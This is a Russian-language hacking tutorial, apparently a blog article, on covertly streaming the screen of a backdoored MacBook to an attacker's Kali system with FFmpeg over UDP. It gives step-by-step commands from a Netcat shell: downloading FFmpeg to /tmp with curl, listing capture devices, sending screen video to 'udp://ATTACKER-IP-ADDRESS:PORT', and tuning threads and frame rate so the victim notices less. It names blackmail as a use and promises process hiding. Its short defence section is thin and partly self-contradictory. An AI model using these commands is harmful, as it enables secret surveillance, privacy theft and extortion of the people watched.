25 апреля, 2024

Как удаленно записывать данные с экрана чужого MacBook’а

Содержание:

Стримить видео с экрана чужого MacBook’а можно без использования приложений для шаринга экранов и без открытия каких-либо портов на целевом устройстве. Хакер с низким уровнем пользовательских прав может в режиме реального времени видеть на забэкдоренном Mac’е каждое действие своей жертвы независимо от того, где они находятся.

Мы продолжаем серию статей по взломам macOS. Сегодня мы покажем, как скрытно делать видеозапись рабочего стола MacBook’а и транслировать ее в систему злоумышленника так, что хакер может наблюдать практически за каждым движением пользователя, не используя функциональность шаринга экрана Apple. Это предполагает, что хакер уже настроил бэкдор на целевом Mac. Ниже приведена GIFка с примером такой атаки в действии.

В этой GIFке мы транслируем содержание экрана компьютера Apple (жертвы) и просматриваем трансляцию на системе Kali атакующего. Такого результата можно достичь с помощью Ffmpeg, мультимедийного фреймворка, который умеет декодировать, кодировать, транскодировать, конвертировать, передавать и воспроизводить большинство форматов медиафайлов.

Такие атаки используются пентестерами для сбора поведенческой информации о целевом пользователе, в целях применения этой информации для последующей эксплуатации уязвимостей устройства, сетей Wi-Fi и просто для сбора информации о личной и рабочей жизни цели. «Черношляпные» хакеры могут применять такую тактику для шантажа, используя частную переписку по электронной почте, в чатах, iMessages, привычки посещать определенные веб-сайты и другую информацию, которая может препятствовать жертве в ее профессиональной или общественной жизни.

Шаг 1. Установите FFmpeg в Кали

FFmpeg должен быть установлен как в системе Kali Linux злоумышленника, так и в целевом MacBook. Этот инструмент можно установить в Kali, используя команду apt-get install ffmpeg, как показано ниже, точно так же, как мы это делали в предыдущей статье при записи аудио с микрофона MacBook.

apt-get install ffmpeg

Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
ffmpeg-doc
The following packages will be upgraded:
ffmpeg
1 upgraded, 0 newly installed, 0 to remove and 596 not upgraded.
Need to get 1,622 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 [http://archive-3.kali.org/kali ] kali-rolling/main amd64 ffmpeg amd64 7:3.4.2-2+b1 1,622 kB
Fetched 1,622 kB in 3s (540.9 kB/s)
Reading changelogs... Done
(Reading database ... 312014 files and directories currently installed.)
Preparing to unpack .../ffmpeg_7%3a3.4.2-2+b1_amd64.deb ...
Unpacking ffmpeg (7:3.4.2-2+b1) over (7:3.4.2-1+b1) ...
Setting up ffmpeg (7:3.4.2-2+b1) ...
Processing triggers for man-db (2.8.2-1) ...

Шаг 2. Конфигурирование FFmpeg в Kali

Чтобы получить входящий видеопоток записи экрана жертвы, FFmpeg нужно не просто установить в системе хакера, но и настроить определенным образом. Следующую команду можно использовать и для запуска и для настройки FFmpeg:

ffmpeg -i udp: //0.0.0.0: 10001 /tmp/outputFile.avi

Эта команда дает указание FFmpeg открыть UDP-порт (udp://) 10001 и принимать входные данные (-i) для каждого доступного интерфейса (0.0.0.0). Затем он сохраняет видеопоток в каталог /tmp в AVI формате в файл с именем outputFile.avi. Номер порта (10001), директория для сохранения (/tmp) и имя выходного файла являются произвольными, и при необходимости вы можете их изменить.

Шаг 3. Скачайте и настройте FFmpeg на забэкдоренном Mac’е

Установка FFmpeg в macOS очень проста. На самом деле здесь нет никакой установки, так как в привилегированные директории /usr, /Applications или /etc не добавляется никакое новое программное обеспечение. Для использования FFmpeg в macOS достаточно скачать бинарный (исполняемый) файл и выполнить его из командной строки от имени обычного пользователя без прав администратора. Большая часть этого шага точно такая же, как и в статье про установку FFmpeg на целевом MacBook для записи аудио с микрофона.

Из бэкдора Netcat на MacBook используйте cURL для скачивания FFmpeg и сохранения ZIP-архива в директорию /tmp. Для уменьшения подозрений пользователя можно взять другой каталог — не /tmp. Это можно сделать, используя команду ниже:

curl 'https://ffmpeg.zeranoe.com/builds/macos64/static/ffmpeg-4.0-macos64-static.zip' -o /tmp/ffmpeg.zip

Когда загрузка будет завершена, используйте unzip /tmp/ffmpeg.zip для извлечения файлов.

unzip /tmp/ffmpeg.zip

Archive: ffmpeg.zip
creating: ffmpeg-4.0-macos64-static/
creating: ffmpeg-4.0-macos64-static/bin/
inflating: ffmpeg-4.0-macos64-static/bin/ffmpeg
inflating: ffmpeg-4.0-macos64-static/bin/ffplay
inflating: ffmpeg-4.0-macos64-static/bin/ffprobe
creating: ffmpeg-4.0-macos64-static/doc/
inflating: ffmpeg-4.0-macos64-static/doc/bootstrap.min.css
inflating: ffmpeg-4.0-macos64-static/doc/default.css
inflating: ffmpeg-4.0-macos64-static/doc/developer.html
inflating: ffmpeg-4.0-macos64-static/doc/faq.html
inflating: ffmpeg-4.0-macos64-static/doc/fate.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-all.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-bitstream-filters.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-codecs.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-devices.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-filters.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-formats.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-protocols.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-resampler.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-scaler.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-utils.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg.html
inflating: ffmpeg-4.0-macos64-static/doc/ffplay-all.html
inflating: ffmpeg-4.0-macos64-static/doc/ffplay.html
inflating: ffmpeg-4.0-macos64-static/doc/ffprobe-all.html
inflating: ffmpeg-4.0-macos64-static/doc/ffprobe.html
inflating: ffmpeg-4.0-macos64-static/doc/general.html
inflating: ffmpeg-4.0-macos64-static/doc/git-howto.html
inflating: ffmpeg-4.0-macos64-static/doc/libavcodec.html
inflating: ffmpeg-4.0-macos64-static/doc/libavdevice.html
inflating: ffmpeg-4.0-macos64-static/doc/libavfilter.html
inflating: ffmpeg-4.0-macos64-static/doc/libavformat.html
inflating: ffmpeg-4.0-macos64-static/doc/libavutil.html
inflating: ffmpeg-4.0-macos64-static/doc/libswresample.html
inflating: ffmpeg-4.0-macos64-static/doc/libswscale.html
inflating: ffmpeg-4.0-macos64-static/doc/mailing-list-faq.html
inflating: ffmpeg-4.0-macos64-static/doc/nut.html
inflating: ffmpeg-4.0-macos64-static/doc/platform.html
inflating: ffmpeg-4.0-macos64-static/doc/style.min.css
inflating: ffmpeg-4.0-macos64-static/LICENSE.txt
creating: ffmpeg-4.0-macos64-static/presets/
inflating: ffmpeg-4.0-macos64-static/presets/ffprobe.xsd
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-1080p.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-1080p50_60.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-360p.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-720p.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-720p50_60.ffpreset
inflating: ffmpeg-4.0-macos64-static/README.txt

Это создаст новый каталог с названием «ffmpeg-4.0-macos64-static/», в котором будет находиться каталог bin/, содержащий исполняемый файл ffmpeg. Используйте команду cd, чтобы перейти в каталог bin/.

cd ffmpeg-4.0-macos64-static/bin/

Убедитесь, что бинарный файл ffmpeg может исполняться — выполните команду chmod.

chmod 777 ffmpeg

Затем просмотрите все доступные устройства ввода на Mac, используя ./ffmpeg -f avfoundation -list_devices tr, как показано ниже.

./ffmpeg -f avfoundation -list_devices true -i ""

AVFoundation input device @ 0x7fda1bc152c0 AVFoundation video devices:
AVFoundation input device @ 0x7fda1bc152c0 0 FaceTime HD Camera (Built-in)
AVFoundation input device @ 0x7fda1bc152c0 1 Capture screen 0
AVFoundation input device @ 0x7fda1bc152c0 AVFoundation audio devices:
AVFoundation input device @ 0x7fda1bc152c0 0 USB Audio CODEC
AVFoundation input device @ 0x7fda1bc152c0 1 Built-in Microphone

Эта команда указывает (-f) FFmpeg использовать формат AVFoundation и отображать список (-list_devices) всех доступных устройств ввода (-i »). AVFoundation использует нотацию «Видео: Аудио», поэтому в последующей команде запись видео с экрана через использование «Capture Screen» (весь экран дисплея) будет отображаться как «1:» (или просто «1»), поскольку видеоустройству экрана захвата (Capture Screen) назначается «1».

Читать также:  Как перечислить общие ресурсы NetBIOS с помощью NBTScan и Nmap Script Engine

Чтобы делать запись с экрана во всю ширину дисплея MacBook в AVI видеоформате, выполните приведенную ниже команду из шела Netcat на забэкдоренном MacBook.

./ffmpeg -f avfoundation -i «1» -f avi udp://ATTACK-IP-ADDRESS:PORT

Это FFmpeg-команда в простейшей форме. Она указывает FFmpeg использовать Apple Avoundation (-f avfoundation) сделать захват изображения на экране (-i ‘1’) в AVI видеоформате (-f avi) и передать его в систему хакера через UDP-соединение (udp://). Есть довольно много разных аргументов (используем на последующих шагах), которые можно использовать для оптимизации вывода видео.

В шеле Netcat будет демонстрироваться вывод работы FFmpeg примерно следующего содержания, отображающий генерируемые данные видеопотока.

[avfoundation @ 0x7fb5fc004800] Selected pixel format (yuv420p) is not supported by the input device.
[avfoundation @ 0x7fb5fc004800] Supported pixel formats:
[avfoundation @ 0x7fb5fc004800]   uyvy422
[avfoundation @ 0x7fb5fc004800]   yuyv422
[avfoundation @ 0x7fb5fc004800]   nv12
[avfoundation @ 0x7fb5fc004800]   0rgb
[avfoundation @ 0x7fb5fc004800]   bgr0
[avfoundation @ 0x7fb5fc004800] Overriding selected pixel format to use uyvy422 instead.
[avfoundation @ 0x7fb5fc004800] Stream #0: not enough frames to estimate rate; consider increasing probesize
Input #0, avfoundation, from '1':
  Duration: N/A, start: 24679.553333, bitrate: N/A
    Stream #0:0: Video: rawvideo (UYVY / 0x59565955), uyvy422, 1440x900, 1000k tbr, 1000k tbn, 1000k tbc
Stream mapping:
  Stream #0:0 -> #0:0 (rawvideo (native) -> mpeg4 (native))
Press [q] to stop, [?] for help
[avi @ 0x7fb5fc082a00] Frame rate very high for a muxer not efficiently supporting it.
Please consider specifying a lower framerate, a different muxer or -vsync 2
Output #0, avi, to 'udp://192.168.2.13:10001':
  Metadata:
    ISFT            : Lavf58.12.100
    Stream #0:0: Video: mpeg4 (FMP4 / 0x34504D46), yuv420p, 1440x900, q=2-31, 200 kb/s, 65535 fps, 600 tbn, 65535 tbc
    Metadata:
      encoder         : Lavc58.18.100 mpeg4
    Side data:
      cpb: bitrate max/min/avg: 0/0/200000 buffer size: 0 vbv_delay: -1
frame=  154 fps= 18 q=31.0 size=    1044kB time=00:00:08.60 bitrate= 994.1kbqts/s speed=1.01x
frame= 1042 fps= 17 q=31.0 Lsize=    7487kB time=00:01:02.43 bitrate= 982.3kbits/s speed=0.999x
video:7193kB audio:0kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 4.089208%

Если вернуться к серверу хакера, то в его терминале FFmpeg будет отображать данные видеопотока, а также он будет сохранять вывод в указанный (/tmp) каталог. Пока терминалы FFmpeg работают на обеих машинах, MacBook будет отправлять видеопоток на сервер хакера.

Input #0, avi, from 'udp://0.0.0.0:10001':
  Metadata:
    encoder         : Lavf58.12.100
  Duration: 497:06:09.71, start: 0.000000, bitrate: N/A
    Stream #0:0: Video: mpeg4 (Simple Profile) (FMP4 / 0x34504D46), yuv420p, 1440x900 [SAR 1:1 DAR 8:5], 600 fps, 30 tbr, 600 tbn, 65535 tbc
Stream mapping:
  Stream #0:0 -> #0:0 (mpeg4 (native) -> mpeg4 (native))
Press [q] to stop, [?] for help
Output #0, avi, to '/tmp/outputFile.avi':
  Metadata:
    ISFT            : Lavf57.83.100
    Stream #0:0: Video: mpeg4 (FMP4 / 0x34504D46), yuv420p, 1440x900 [SAR 1:1 DAR 8:5], q=2-31, 200 kb/s, 30 fps, 30 tbn, 30 tbc
    Metadata:
      encoder         : Lavc57.107.100 mpeg4
    Side data:
      cpb: bitrate max/min/avg: 0/0/200000 buffer size: 0 vbv_delay: -1
[mpeg4 @ 0x5610900ed100] Error at MB: 3600
[mpeg4 @ 0x5610900ed100] slice end not reached but screenspace end (11780 left 700303, score= -63)
[mpeg4 @ 0x5610900ed100] concealing 1618 DC, 1618 AC, 1618 MV errors in I frame
frame=  211 fps= 13 q=31.0 size=    1286kB time=00:00:19.83 bitrate= 531.0kbits/s speed=1.19x

Шаг 4. Установите MPV и смотрите потоковое видео

Чтобы просмотреть содержание видеопотока можно использовать программу MPV — консольное приложение, которое умеет воспроизводить различные форматы медиафайлов из командной строки. Чтобы установить MPV используйте apt-get install mpv:

apt-get install mpv

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
mpv
0 upgraded, 1 newly installed, 0 to remove and 596 not upgraded.
Need to get 0 B/933 kB of archives.
After this operation, 2,293 kB of additional disk space will be used.
Selecting previously unselected package mpv.
(Reading database ... 311978 files and directories currently installed.)
Preparing to unpack .../mpv_0.27.2-1_amd64.deb ...
Unpacking mpv (0.27.2-1) ...
Setting up mpv (0.27.2-1) ...

Затем используйте MPV для просмотра видео с помощью:

mpv --keep-open=yes /tmp/outputFile.avi

Аргумент —keep-open не обязателен, но говорит MPV не прекращать работу, когда он достигнет конца AVI файла.

Читать также:  Как удаленно сохранять пароли из браузера Firefox

Как уже упоминалось, FFmpeg будет продолжать записывать видеоданные в файл outputFile.avi. Поскольку это происходит в реальном времени, MPV иногда может доходить до конца файла, т.е. до того момента, когда FFmpeg сможет обработать следующую часть видеопотока. Это похоже на буферизацию видео ютубом, прежде чем видео можно будет воспроизвести. MPV не сможет воспроизводить видео, если FFmpeg не обработает его. Мы рекомендуем выставить десятисекундный буфер в терминале MPV для «бесшовного» воспроизведения потокового видео (почти в реальном времени).

Шаг 5. Оптимизируйте видеовывод (опционально)

Одна из основных проблем, с которыми мы столкнулись при использовании FFmpeg для записи потокового видео — это большая нагрузка на процессор целевого MacBook’а. Поскольку стриминг видео на наш сервер Kali потребовал большой мощности при обработке.

Использование на MacBook’е команды top, утилиты для просмотра запущенных процессов, в тот момент, когда FFmpeg передает видеопоток, может помочь определить всплески нагрузки на процессор.

Processes: 287 total, 2 running, 285 sleeping, 890 threads                                       18:27:25
Networks: packets: 66590/55M in, 464311/526M out. Disks: 141297/3511M read, 102846/1545M written.

PID   COMMAND      %CPU      TIME     #TH   #WQ  #PORT MEM    PURG   CMPR PGRP PPID STATE
4672  master       0.0       00:00.03 1     0    20    884K   0B     0B   4672 1    sleeping
4671  CVMCompiler  0.0       00:00.15 2     2    27    9080K  40K    0B   4671 1    sleeping
4670  ffmpeg       47.6      00:11.17 15    3    144   61M    0B     0B   4510 4521 sleeping
4640  bash         0.0       00:00.04 1     0    19    888K   0B     0B   4640 4639 sleeping
4639  login        0.0       00:00.03 2     1    30    1448K  0B     0B   4639 504  sleeping
4632  netbiosd     0.0       00:00.05 2     2    25    2384K  0B     0B   4632 1    sleeping
4243  com.apple.We 0.0       00:00.24 4     1    66    3496K  0B     0B   4243 1    sleeping

Обратите внимание, что FFmpeg-процесс (с PID: 4670) использует процессор на 47,6%, а другие приложения — в районе 0.0%. Это создает настоящую проблему, поскольку у любого MacBook’а, работающего сразу с несколькими приложениями (например, Chrome, iMessages, iTunes, Preview), скорее всего, будет быстро разряжаться батарея. Также процессор, загруженный почти на 50% в течение длительного периода времени, скорее всего, заставит кулер MacBook’а работать на повышенных скоростях, что также приведет к ускоренному разряду батареи.

Читать также:  Дроп: Способы пересылки #Часть 1

Поработав некоторое время с настройками команд FFmpeg, мы обнаружили несколько аргументов, которые можно использовать для снижения нагрузки на процессор MacBook.

Совет 1. Заблокировать количество потоков, используемых процессором

По умолчанию, FFmpeg устанавливает количество потоков процессора равное 0 или в «оптимальное» положение. Это по существу означает, что FFmpeg автоматически решит, как, по его мнению, наилучшим образом использовать процессор MacBook. Однако это вовсе не означает, что он будет принимать во внимание разряд батареи или создаваемую перегрузку процессора.

Чтобы ограничить FFmpeg только одним потоком процессора, добавьте аргумент -threads 1 в команду FFmpeg. Хотя это улучшение незначительное (снижение нагрузки на процессор составит около 5%), мы подумали, что об этом все равно стоит упомянуть.

./ffmpeg -f avfoundation -i «1» -threads 1 -f avi udp://ATTACKER-IP-ADDRESS:PORT

Совет 2. Уменьшить частоту кадров

Частота кадров (выраженная в кадрах в секунду или FPS) представляет собой частоту (скорость), при которой на дисплее появляются последовательные изображения, называемые кадрами. Т.е. это означает, сколько скриншотов (кадров) будет создаваться в секунду для формирования видеофайла.

По умолчанию FFmpeg будет использовать 30 кадров в секунду. Используя аргумент -r, можно значительно уменьшить FPS в видеовыходе. Хотя это и снижает значительно нагрузку на процессор, но в тоже время видеовыход становится слишком «рваным» с частыми пропусками кадров. Текст в таком видео по-прежнему будет читабельным, но само видео будет больше напоминать картинку или GIFку, которая обновляется каждую секунду. Если безупречный видеопоток с высоким FPS не требуется, то использование нижеприведенной команды значительно снизит загрузку процессора MacBook’а.

./ffmpeg -f avfoundation -i «1» -threads 1 -f avi -r 1 udp://ATTACKER-IP-ADDRESS:PORT

Совет 3. Поэкспериментировать с качеством видео, чтобы найти оптимальный режим

Ffmpeg предоставляет широкие возможности для улучшения качества видео и режима использования процессора на MacBook. Мы рекомендуем читателям экспериментировать со всеми доступными аргументами и функциями. В Kali справку по Ffmpeg можно просмотреть, используя команду ниже.

man ffmpeg

Как защититься от такой атаки

Скорее всего, антивирусное программное обеспечение — плохой защитник от такого рода атак. В конце концов, FFmpeg не считается вредоносным приложением, поскольку он открывает порты и не изменяет никаких файлов на компьютере.

Пользователь Mac может почаще проверять наличие запущенных подозрительных процессов в системе с помощью top или ps, но по большому счету это даст не много. В конце концов, мы покажем, как скрывать такие типы процессов от активного обнаружения пользователей, поэтому top и ps не могут дать 100% гарантии обнаружения этого типа атаки.

И в отличие от прослушивания на микрофоне, пользователь не может просто отключить кабель в компьютере, чтобы предотвратить запись с экрана. Вы можете отключаться от Сети и быть оффлайн, когда это действительно не нужно, что может помочь слегка смягчить последствия таких атак.

Оставайтесь с нами

Итак, теперь вы знаете, как хакер может транслировать аудио и видео с забэкдоренного MacBook’а. Но с хаками Mac’ов мы еще не закончили. Нам еще многое предстоит изучить, кроме того, что мы уже рассмотрели, так что обязательно возвращайтесь и следите за новыми Mac-хаками.

Добавить комментарий